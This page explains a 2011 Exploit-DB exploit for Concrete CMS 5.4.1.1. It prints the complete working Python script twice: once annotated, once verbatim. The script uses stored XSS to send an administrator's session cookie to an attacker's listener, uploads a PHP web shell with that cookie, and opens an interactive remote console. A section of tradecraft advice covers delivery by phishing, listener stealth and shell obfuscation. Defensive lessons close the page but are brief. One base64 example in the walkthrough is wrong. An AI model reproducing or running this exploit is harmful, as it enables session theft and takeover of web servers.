Concrete CMS v5.4.1.1 - Cross-Site Scripting to Remote Code Execution Explained

Concrete CMS v5.4.1.1 - Cross-Site Scripting to Remote Code Execution Explained
What this paper is
This paper details a vulnerability in Concrete CMS version 5.4.1.1 that allows an attacker to achieve Remote Code Execution (RCE). The exploit leverages a Cross-Site Scripting (XSS) vulnerability to trick an administrator into revealing their session cookie. With this cookie, the attacker can then upload a malicious PHP file (acting as a web shell) to the server and subsequently execute arbitrary commands.
Simple technical breakdown
The exploit works in several stages:
- XSS Payload Generation: The script creates a simple HTML file (
index.html) containing an XSS payload. This payload is designed to redirect the administrator's browser to a specific URL on the attacker's machine when the administrator visits a particular page within the Concrete CMS dashboard. The redirection includes the administrator's session cookie. - Listening for the Cookie: The script starts a listener on a specified port to catch the incoming connection from the administrator's browser, which will contain the stolen cookie.
- Cookie Validation and Admin Confirmation: Once the cookie is received, the script uses it to make requests to the Concrete CMS. It checks if the cookie grants administrative privileges by looking for specific elements on an admin-only page (like a "delete this scrapbook" link).
- Nonce Determination: To upload files, Concrete CMS requires a security token called a "nonce" (or
ccm_token). The script makes a request to a specific dashboard page to retrieve this token. - Shell Upload: Using the administrator's cookie and the obtained nonce, the script crafts a POST request to upload a malicious PHP file. This file is a simple web shell that can execute commands passed to it via a GET parameter. The file is given a
.php.xlaextension, likely to bypass some basic file type restrictions. - Shell Location Discovery: After uploading, the script needs to find the exact URL of the uploaded shell. It does this by querying the file properties using the file ID returned during the upload process.
- Interactive Command Execution: Finally, the script establishes an interactive session with the uploaded web shell, allowing the attacker to execute commands on the compromised server.
Complete code and payload walkthrough
The provided Python script orchestrates the entire exploit. Let's break down its key components:
#!/usr/bin/python
# Concrete CMS v5.4.1.1 xss/remote code execution exploit
# ... (comments and metadata) ...
import socket, sys, urllib2, re, struct, fcntl, getpass, base64
from optparse import OptionParser
# ... (usage and parser setup) ...
def banner():
# Prints the exploit banner
print "\n\t| --------------------------------------------------- |"
print "\t| Concrete CMS v5.4.1.1 Remote Code Execution Exploit |"
print "\t| by mr_me - net-ninja.net -------------------------- |\n"
if len(sys.argv) < 10:
banner()
parser.print_help()
sys.exit(1)
# set the php code injection (just an example here)
phpShell = "<?php system(base64_decode($_GET['cmd'])); ?>"
myCmd = "?cmd="
# Mapping: phpShell -> Practical Purpose
# - "<?php system(base64_decode($_GET['cmd'])); ?>" -> This is the core of the web shell.
# It's a PHP snippet that takes a command passed via the 'cmd' GET parameter,
# base64 decodes it, and then executes it using the `system()` function.
# This allows arbitrary command execution on the server.
# Mapping: myCmd -> Practical Purpose
# - "?cmd=" -> This is the prefix for the GET parameter that will carry the
# base64 encoded command to the web shell.
def get_ip_address(ifname):
# Retrieves the IP address of a specified network interface.
# This is used to construct the callback URL for the XSS payload.
ls = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# ioctl with 0x8915 is a system call to get interface information.
# struct.pack('256s', ifname[:15]) prepares the interface name.
# The returned data is unpacked to extract the IP address.
return socket.inet_ntoa(fcntl.ioctl(ls.fileno(), 0x8915, struct.pack('256s', ifname[:15]))[20:24])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", int(options.port))) # Binds the listener to the specified port.
s.listen(1) # Starts listening for incoming connections.
# Mapping: s.bind(("", int(options.port))) -> Practical Purpose
# - Binds the attacker's listening socket to all available network interfaces
# on the specified port. This is where the XSS payload will send the cookie.
# Mapping: s.listen(1) -> Practical Purpose
# - Puts the socket into listening mode, waiting for an incoming connection.
# The '1' indicates a backlog of 1 connection.
def sendPostRequest(req):
# Sends a raw HTTP POST request to the target and returns the response.
# Used for uploading the shell.
su = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# Connects to the target on port 80 (HTTP).
# The comment suggests trying other ports like 443 if needed.
su.connect((options.target,80))
except:
print "(-) Failed making the connection to target %s" % options.target
# If connection fails, prints an error and the function will likely
# return without data, or an exception will propagate.
su.send(req) # Sends the crafted POST request.
data = su.recv(1024) # Receives up to 1024 bytes of the response.
su.close() # Closes the socket connection.
return data
# Mapping: req -> Practical Purpose
# - The raw HTTP POST request string, meticulously crafted with headers
# and multipart/form-data content for file uploads.
def generateShellUpload(cookie, ccm_token):
# Generates the multipart/form-data POST request to upload the shell.
postRequest = ("POST %sindex.php/tools/required/files/importers/single HTTP/1.1\r\n"
"Host: %s\r\n"
"Cookie: CONCRETE5=%s;\r\n"
"Content-Type: multipart/form-data; boundary=---------------------------lulz\r\n"
"Content-Length: 313\r\n\n" # Note: Content-Length is hardcoded, might be fragile.
"-----------------------------lulz\n"
"Content-Disposition: form-data; name=\"Filedata\"; filename=\"%s.php.xla\"\r\n\n"
"%s\n" # This is where the phpShell content goes.
"-----------------------------lulz\n"
"Content-Disposition: form-data; name=\"ccm_token\"\r\n\n"
"%s\n" # This is where the ccm_token goes.
"-----------------------------lulz--\r\n\r\n" % (options.path, options.target, cookie, options.shellName, phpShell, ccm_token))
return postRequest
# Mapping: postRequest -> Practical Purpose
# - This string is a precisely formatted HTTP POST request.
# - It targets the Concrete CMS file upload endpoint.
# - `options.path` is the base path to the CMS installation.
# - `options.target` is the target server's hostname or IP.
# - `cookie` is the stolen administrator's session cookie.
# - `options.shellName` is the base name for the uploaded shell file.
# - `phpShell` is the actual PHP code for the web shell.
# - `ccm_token` is the security token required for the upload.
# - The `boundary` `---------------------------lulz` separates the different
# parts of the form data.
# - The filename is set to `*.php.xla` to potentially bypass simple checks.
def xssTheAdmin():
# Creates the index.html file containing the XSS payload.
print "(+) Created XSS in index.html, send the XSS to the admin"
print "(+) Listening on port %s for our target" % (options.port)
xssJunk = ("<html><body onload='document.f.submit()'>"
"<form method=post name=f action=\"http://%s%sindex.php/dashboard/scrapbook/addScrapbook/\">"
"<input name=\"scrapbookName\" type=\"hidden\" value='<script>document.location=\"http://%s:%s/cookie=\"+document.cookie+\"=\"</script>'>"
"<input type=\"hidden\" value=\"Add\" ></form>"
"</html>" % (options.target, options.path, get_ip_address(options.ifce),options.port))
try:
xssFile = open('index.html','w')
xssFile.write(xssJunk)
xssFile.close()
except:
print "(-) Error writing file.."
sys.exit(1)
# Mapping: xssJunk -> Practical Purpose
# - This HTML string is the XSS payload.
# - `onload='document.f.submit()'` ensures the form is submitted automatically
# when the page loads.
# - The `action` attribute of the form points to the Concrete CMS scrapbook
# addition URL, which is likely accessible to administrators.
# - The `value` of the `scrapbookName` input contains the actual XSS.
# `<script>document.location="http://%s:%s/cookie="+document.cookie+"="</script>`
# This script executes in the administrator's browser, takes their `document.cookie`,
# and redirects their browser to the attacker's listening server (`get_ip_address(options.ifce)`)
# on the specified port (`options.port`), appending the cookie as a GET parameter.
def sendPayloads(uri, magicCookie):
# Sends a GET request to a given URI with a specific cookie and returns the response.
# Used for checking admin access and retrieving the nonce.
try:
req = urllib2.Request(uri)
req.add_header('Cookie', 'CONCRETE5='+magicCookie)
check = urllib2.urlopen(req).read()
except urllib2.HTTPError, error: # Corrected from urllib.error.HTTPError
check = error.read()
except urllib2.URLError: # Corrected from urllib.error.URLError
print "(-) Target connection failed, check your address"
sys.exit(1)
return check
# Mapping: uri -> Practical Purpose
# - The URL of the Concrete CMS page to request.
# Mapping: magicCookie -> Practical Purpose
# - The `CONCRETE5` cookie value used to authenticate the request.
def interactiveAttack(ws):
# Enters an interactive shell session.
print "(+) Entering interactive remote console (q for quit)\n"
hn = "%s@%s# " % (getpass.getuser(), options.target)
cmd = ""
while cmd != 'q':
cmd = raw_input(hn)
cmd64 = base64.b64encode(cmd) # Base64 encode the command.
cmdResponse = sendPayloads(ws+myCmd+cmd64,"lolnoauth") # Send to the web shell.
print cmdResponse # Print the output from the executed command.
# Mapping: ws -> Practical Purpose
# - The URL of the uploaded web shell.
# Mapping: cmd64 -> Practical Purpose
# - The user-entered command, encoded in base64, ready to be sent to the web shell.
def startShellAttack():
# Handles the incoming connection from the XSS payload and orchestrates the shell upload.
conn, addr = s.accept() # Accepts the incoming connection from the victim's browser.
print "(+) Recieved a connection from %s" % addr[0]
while 1:
data = conn.recv(1024) # Receives data sent by the victim's browser.
# Extracts the CONCRETE5 cookie from the received data.
cookie = re.search('CONCRETE5=(.*)', data)
cookie = cookie.group(1)[:26] # Assumes cookie is 26 chars long.
# Extracts the target URL from the Referer header.
target = data.split("Referer: ")[1].rstrip()
confirmTarget = "http://"+options.target+options.path+"index.php/dashboard/scrapbook/".rstrip()
target = target[:len(confirmTarget)]
if target == confirmTarget:
print "(+) Confirmed target @ %s" % (target)
else:
print "(-) Error, mismatch of targets."
sys.exit(1)
print "(+) Got the cookie %s, checking if we have admin access.." % (cookie)
adminCheck = sendPayloads(target, cookie) # Check if the cookie grants admin access.
if re.search('delete this scrapbook', adminCheck):
print "(+) Admin access is confirmed"
else:
print "(-) This is not an admin cookie. Exiting.."
sys.exit(1)
print "(+) Determining the upload nounce"
nounceRequest = "http://"+options.target+options.path+"index.php/dashboard/files/search/"
nounceResponse = sendPayloads(nounceRequest, cookie)
# Extracts the ccm_token (nonce) from the response.
ccm_token = nounceResponse.split("<input type=\"hidden\" name=\"ccm_token\" value=\"")[1].split("\" />")[0]
print ("(+) Got the file upload nounce, uploading '%s' shell.." % (options.shellName))
uploadReq = generateShellUpload(cookie, ccm_token) # Generate the upload request.
findShell = sendPostRequest(uploadReq) # Upload the shell.
print "(+) Shell uploaded! Now looking for it"
# Extracts the file ID from the upload response to find the shell's URL.
magicNum = re.search('(?<=push\()\w+', findShell)
shellSearchReq = ("http://%s%sindex.php/tools/required/files/properties?fID=%s"
% (options.target, options.path, magicNum.group(0)))
shellSearch = sendPayloads(shellSearchReq, cookie)
# Extracts the shell URL from the file properties response.
shellLoc = shellSearch.split("<th>URL to File</th>")[1].split("</td>")[0].split("=\"2\">")[1]
print ("(!) Shell found at %s" % (shellLoc))
break # Exit the loop after successful upload and location.
conn.close() # Close the connection from the victim's browser.
return shellLoc # Return the URL of the uploaded shell.
# Mapping: data -> Practical Purpose
# - The raw HTTP request received from the victim's browser, containing
# headers like Cookie and Referer.
# Mapping: cookie -> Practical Purpose
# - The extracted session cookie of the administrator.
# Mapping: target -> Practical Purpose
# - The URL from the Referer header, used to confirm the victim visited
# the expected page.
# Mapping: adminCheck -> Practical Purpose
# - The HTML response from the target when authenticated with the stolen cookie.
# Used to verify administrative privileges.
# Mapping: nounceResponse -> Practical Purpose
# - The HTML response from the file search page, containing the `ccm_token`.
# Mapping: ccm_token -> Practical Purpose
# - The security token required for file uploads.
# Mapping: findShell -> Practical Purpose
# - The HTTP response from the file upload request, containing information
# about the uploaded file, including its ID.
# Mapping: shellSearch -> Practical Purpose
# - The HTTP response from the file properties request, containing the URL
# of the uploaded shell.
# Mapping: shellLoc -> Practical Purpose
# - The final URL of the uploaded web shell.
if __name__ == "__main__":
banner()
xssTheAdmin() # Create the XSS file and start the listener.
webShell = startShellAttack() # Wait for victim, get cookie, upload shell.
interactiveAttack(webShell) # Start interactive command execution.Shellcode/Payload Segments:
phpShell = "<?php system(base64_decode($_GET['cmd'])); ?>": This is the core payload. It's a PHP snippet that defines a web shell. When accessed via a GET request with acmdparameter (e.g.,shell.php.xla?cmd=bHVkIGFzcw==), it will:- Take the value of
$_GET['cmd']. - Base64 decode it (e.g.,
ls -labecomesbHVkIGFzcw==). - Execute the decoded command using
system(). - Return the output of the command.
- Take the value of
xssJunk: This HTML/JavaScript payload is designed to be delivered to an administrator. When the administrator's browser loads this HTML, the JavaScriptdocument.location="http://attacker_ip:attacker_port/cookie="+document.cookie+"="will execute. This redirects the administrator's browser to the attacker's listening server, sending theirCONCRETE5session cookie as a GET parameter.generateShellUploadcontent: This is the multipart form data for the file upload. It includes:Filedata: The actual file content, which is thephpShell.filename="%s.php.xla": The name of the uploaded file. The.xlaextension is likely an attempt to bypass simple file type filters.ccm_token: The security token obtained from the target.
Practical details for offensive operations teams
- Required Access Level: Low. The initial vector is XSS, which can be triggered by tricking a user (ideally an administrator) into visiting a crafted URL or loading a crafted HTML file. No direct network access or authentication is initially required on the target system itself, only the ability to deliver the XSS payload.
- Lab Preconditions:
- A target Concrete CMS v5.4.1.1 installation.
- An administrator account for the target CMS.
- The attacker needs a machine with Python, a network interface accessible to the target (or a way to route traffic to it), and the ability to run a listener.
- The target CMS must be accessible from the attacker's machine for the XSS redirection and subsequent shell commands.
- Tooling Assumptions:
- Python interpreter.
- Standard Python libraries (
socket,urllib2,re,struct,fcntl,getpass,base64,optparse). - A web browser for the administrator to trigger the XSS.
- Execution Pitfalls:
- Hardcoded
Content-Length: ThegenerateShellUploadfunction has a hardcodedContent-Length: 313. If thephpShellor other parts of the upload data change significantly, this length will be incorrect, leading to a failed upload. - File Extension Bypass: The
.php.xlaextension might be blocked by server configurations or security software. - Cookie Expiration/Invalidation: If the administrator's session expires or is invalidated before the cookie is captured or used, the exploit will fail.
- Network Connectivity: The attacker's listener must be reachable by the victim's browser. Firewalls or network segmentation can prevent this.
- CMS Updates: This exploit is specific to v5.4.1.1. Newer versions would likely have patched this vulnerability.
- Admin Interaction: The success hinges on an administrator visiting the crafted
index.htmlfile. - Nonce Expiration:
ccm_tokenvalues are often time-sensitive. If too much time passes between fetching the nonce and uploading the shell, it might become invalid. - File Upload Restrictions: The target server might have restrictions on file types, sizes, or locations that could prevent the shell from being uploaded or executed.
- Shell Location Obfuscation: The shell might be uploaded to a location that is not directly accessible or is dynamically generated in a way that makes it hard to find. The script relies on a specific parsing of the file properties response.
- Hardcoded
- Tradecraft Considerations:
- Payload Delivery: The
index.htmlfile needs to be placed somewhere the administrator will access it. This could be through a phishing email, a compromised internal website, or by convincing the admin to download and open it. - Listener Stealth: The attacker's listener should ideally be on a stable IP address and port that is less likely to be blocked.
- Shell Obfuscation: For persistence or further exploitation, the uploaded shell could be further obfuscated or modified.
- Command Execution: When executing commands, be mindful of the output. Large outputs can be difficult to handle over the interactive session.
- Cleanup: After the operation, consider removing the uploaded shell and any generated files.
- Payload Delivery: The
Where this was used and when
This exploit was published on January 5, 2011. It targets Concrete CMS version 5.4.1.1, which was released around that time. Given the publication date, it's likely this vulnerability was actively exploited or at least known to security researchers in early 2011. It's a classic example of how XSS can be chained with other vulnerabilities to achieve RCE in web applications.
Defensive lessons for modern teams
- Input Validation and Output Encoding: The root cause of the XSS vulnerability is likely improper handling of user-supplied data that is then reflected in HTML. Always sanitize and encode user input to prevent it from being interpreted as executable code.
- Secure File Uploads: Implement robust file upload validation. This includes:
- Strictly whitelisting allowed file extensions and MIME types.
- Sanitizing filenames to prevent directory traversal or malicious characters.
- Storing uploaded files outside the web root or in a non-executable directory.
- Using security tokens (
ccm_tokenin this case) for all sensitive operations like file uploads.
- Session Management:
- Use secure, HttpOnly, and SameSite cookie attributes to mitigate cookie theft.
- Implement short session timeouts and session regeneration upon privilege escalation.
- Regular Patching and Updates: Keep Content Management Systems (CMS) and all their plugins/themes updated to the latest stable versions. This exploit targets a specific, older version.
- Web Application Firewalls (WAFs): A WAF can help detect and block common XSS patterns and malicious file uploads.
- Least Privilege: Ensure that user accounts within the CMS, especially administrative ones, have only the necessary privileges. This can limit the impact if an account is compromised.
- Monitoring and Logging: Monitor web server logs for suspicious activity, such as unusual file upload attempts, requests to sensitive administrative URLs, or unexpected cookie values.
ASCII visual (if applicable)
+---------------------+ +---------------------+ +---------------------+
| Attacker Machine | | Victim's Browser | | Target Concrete CMS |
| (Python Listener) | | (Admin User) | | (v5.4.1.1) |
+---------------------+ +---------------------+ +---------------------+
| | |
| 1. Start Listener | |
| (on port X) | |
|------------------------------>| |
| | |
| 2. Serve index.html (XSS) | |
| (Attacker hosts this) | |
|------------------------------>| |
| | 3. Load index.html |
| | (Admin visits) |
| |------------------------------>|
| | 4. XSS executes, redirects |
| | to Attacker Listener |
| | with Cookie |
| |------------------------------>|
| | |
| 5. Receive Cookie & | |
| Validate Admin Access | |
|------------------------------>| |
| | |
| 6. Request Nonce | |
| (using stolen cookie) |------------------------------>|
|------------------------------>| |
| | 7. Respond with Nonce |
| |------------------------------>|
| | |
| 8. Upload Shell (PHP) | |
| (using cookie & nonce) |------------------------------>|
|------------------------------>| |
| | 9. Respond with Shell Info |
| | (incl. File ID) |
| |------------------------------>|
| | |
| 10. Find Shell URL | |
| (using File ID) |------------------------------>|
|------------------------------>| |
| | 11. Respond with Shell URL |
| |------------------------------>|
| | |
| 12. Interactive Shell | |
| (Execute commands) | |
|------------------------------>| |
| | 13. Execute Commands |
| | & Return Output |
| |------------------------------>|Source references
- Exploit-DB Paper ID: 15915
- Exploit-DB Paper URL: https://www.exploit-db.com/papers/15915
- Exploit-DB Raw URL: https://www.exploit-db.com/raw/15915
- Concrete CMS Download: http://www.concrete5.org/ (Note: This is the official site, but the vulnerable version is old).
Original Exploit-DB Content (Verbatim)
#!/usr/bin/python
# Concrete CMS v5.4.1.1 xss/remote code execution exploit
# Download: http://www.concrete5.org/
# Special Zeitgeist pre release - "Moving Forward" - 15th Jan 2011
# "They must find it difficult, those who take authority as the truth instead of truth as the authority"
# http://www.zeitgeistmovie.com/
# PoC usage:
# [mr_me@pluto concrete5]$ python ./1.py -t 192.168.1.15 -d /webapps/concrete5/ -p 8081 -s suntzu -i wlan0
#
# | --------------------------------------------------- |
# | Concrete CMS v5.4.1.1 Remote Code Execution Exploit |
# | by mr_me - net-ninja.net -------------------------- |
#
# (+) Created XSS in index.html, send the XSS to the admin
# (+) Listening on port 8081 for our target
# (+) Recieved a connection from 192.168.1.2
# (+) Confirmed target @ http://192.168.1.15/webapps/concrete5/index.php/dashboard/scrapbook/
# (+) Got the cookie tqarj8poclha1oso9e9haa9f66, checking if we have admin access..
# (+) Admin access is confirmed
# (+) Determining the upload nounce
# (+) Got the file upload nounce, uploading 'suntzu' shell..
# (+) Shell uploaded! Now looking for it
# (!) Shell found at http://192.168.1.15/webapps/concrete5/files/7412/9465/6675/suntzu.php.xla
# (+) Entering interactive remote console (q for quit)
#
# mr_me@192.168.1.15# id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
#
# mr_me@192.168.1.15# uname -a
# Linux steve-ubuntu 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux
#
# mr_me@192.168.1.15# q
import socket, sys, urllib2, re, struct, fcntl, getpass, base64
from optparse import OptionParser
usage = "./%prog -t [target] -d [path] -p [port] -s [shell name] -i [interface]"
usage += "\nExample: ./%prog -t 192.168.1.17 -d /webapps/concrete5/ -p 8080 -s suntzu -i wlan0"
parser = OptionParser(usage=usage)
parser.add_option("-t", type="string", action="store", dest="target",
help="Target server as IP or host")
parser.add_option("-d", type="string", action="store", dest="path",
help="Directory path of Concrete CMS of your target")
parser.add_option("-p", type="string",action="store", dest="port",
help="Server port to listen on")
parser.add_option("-s", type="string", action="store", dest="shellName",
help="shell name to write on the target server")
parser.add_option("-i", type="string", action="store", dest="ifce",
help="External network interface, must be routable.")
(options, args) = parser.parse_args()
def banner():
print "\n\t| --------------------------------------------------- |"
print "\t| Concrete CMS v5.4.1.1 Remote Code Execution Exploit |"
print "\t| by mr_me - net-ninja.net -------------------------- |\n"
if len(sys.argv) < 10:
banner()
parser.print_help()
sys.exit(1)
# set the php code injection (just an example here)
phpShell = "<?php system(base64_decode($_GET['cmd'])); ?>"
myCmd = "?cmd="
def get_ip_address(ifname):
ls = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
return socket.inet_ntoa(fcntl.ioctl(ls.fileno(), 0x8915, struct.pack('256s', ifname[:15]))[20:24])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", int(options.port)))
s.listen(1)
def sendPostRequest(req):
su = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# change the port to another, if they are running the CMS off another port (443?)
try:
su.connect((options.target,80))
except:
print "(-) Failed making the connection to target %s" % options.target
su.send(req)
data = su.recv(1024)
su.close()
return data
def generateShellUpload(cookie, ccm_token):
postRequest = ("POST %sindex.php/tools/required/files/importers/single HTTP/1.1\r\n"
"Host: %s\r\n"
"Cookie: CONCRETE5=%s;\r\n"
"Content-Type: multipart/form-data; boundary=---------------------------lulz\r\n"
"Content-Length: 313\r\n\n"
"-----------------------------lulz\n"
"Content-Disposition: form-data; name=\"Filedata\"; filename=\"%s.php.xla\"\r\n\n"
"%s\n"
"-----------------------------lulz\n"
"Content-Disposition: form-data; name=\"ccm_token\"\r\n\n"
"%s\n"
"-----------------------------lulz--\r\n\r\n" % (options.path, options.target, cookie, options.shellName, phpShell, ccm_token))
return postRequest
def xssTheAdmin():
print "(+) Created XSS in index.html, send the XSS to the admin"
print "(+) Listening on port %s for our target" % (options.port)
xssJunk = ("<html><body onload='document.f.submit()'>"
"<form method=post name=f action=\"http://%s%sindex.php/dashboard/scrapbook/addScrapbook/\">"
"<input name=\"scrapbookName\" type=\"hidden\" value='<script>document.location=\"http://%s:%s/cookie=\"+document.cookie+\"=\"</script>'>"
"<input type=\"hidden\" value=\"Add\" ></form>"
"</html>" % (options.target, options.path, get_ip_address(options.ifce),options.port))
try:
xssFile = open('index.html','w')
xssFile.write(xssJunk)
xssFile.close()
except:
print "(-) Error writing file.."
sys.exit(1)
def sendPayloads(uri, magicCookie):
try:
req = urllib2.Request(uri)
req.add_header('Cookie', 'CONCRETE5='+magicCookie)
check = urllib2.urlopen(req).read()
except urllib.error.HTTPError, error:
check = error.read()
except urllib.error.URLError:
print "(-) Target connection failed, check your address"
sys.exit(1)
return check
def interactiveAttack(ws):
print "(+) Entering interactive remote console (q for quit)\n"
hn = "%s@%s# " % (getpass.getuser(), options.target)
cmd = ""
while cmd != 'q':
cmd = raw_input(hn)
cmd64 = base64.b64encode(cmd)
cmdResponse = sendPayloads(ws+myCmd+cmd64,"lolnoauth")
print cmdResponse
def startShellAttack():
conn, addr = s.accept()
print "(+) Recieved a connection from %s" % addr[0]
while 1:
data = conn.recv(1024)
cookie = re.search('CONCRETE5=(.*)', data)
cookie = cookie.group(1)[:26]
target = data.split("Referer: ")[1].rstrip()
confirmTarget = "http://"+options.target+options.path+"index.php/dashboard/scrapbook/".rstrip()
target = target[:len(confirmTarget)]
if target == confirmTarget:
print "(+) Confirmed target @ %s" % (target)
else:
print "(-) Error, mismatch of targets."
sys.exit(1)
print "(+) Got the cookie %s, checking if we have admin access.." % (cookie)
adminCheck = sendPayloads(target, cookie)
if re.search('delete this scrapbook', adminCheck):
print "(+) Admin access is confirmed"
else:
print "(-) This is not an admin cookie. Exiting.."
sys.exit(1)
print "(+) Determining the upload nounce"
nounceRequest = "http://"+options.target+options.path+"index.php/dashboard/files/search/"
nounceResponse = sendPayloads(nounceRequest, cookie)
ccm_token = nounceResponse.split("<input type=\"hidden\" name=\"ccm_token\" value=\"")[1].split("\" />")[0]
print ("(+) Got the file upload nounce, uploading '%s' shell.." % (options.shellName))
uploadReq = generateShellUpload(cookie, ccm_token)
findShell = sendPostRequest(uploadReq)
print "(+) Shell uploaded! Now looking for it"
magicNum = re.search('(?<=push\()\w+', findShell)
shellSearchReq = ("http://%s%sindex.php/tools/required/files/properties?fID=%s"
% (options.target, options.path, magicNum.group(0)))
shellSearch = sendPayloads(shellSearchReq, cookie)
shellLoc = shellSearch.split("<th>URL to File</th>")[1].split("</td>")[0].split("=\"2\">")[1]
print ("(!) Shell found at %s" % (shellLoc))
break
conn.close()
return shellLoc
if __name__ == "__main__":
banner()
xssTheAdmin()
webShell = startShellAttack()
interactiveAttack(webShell)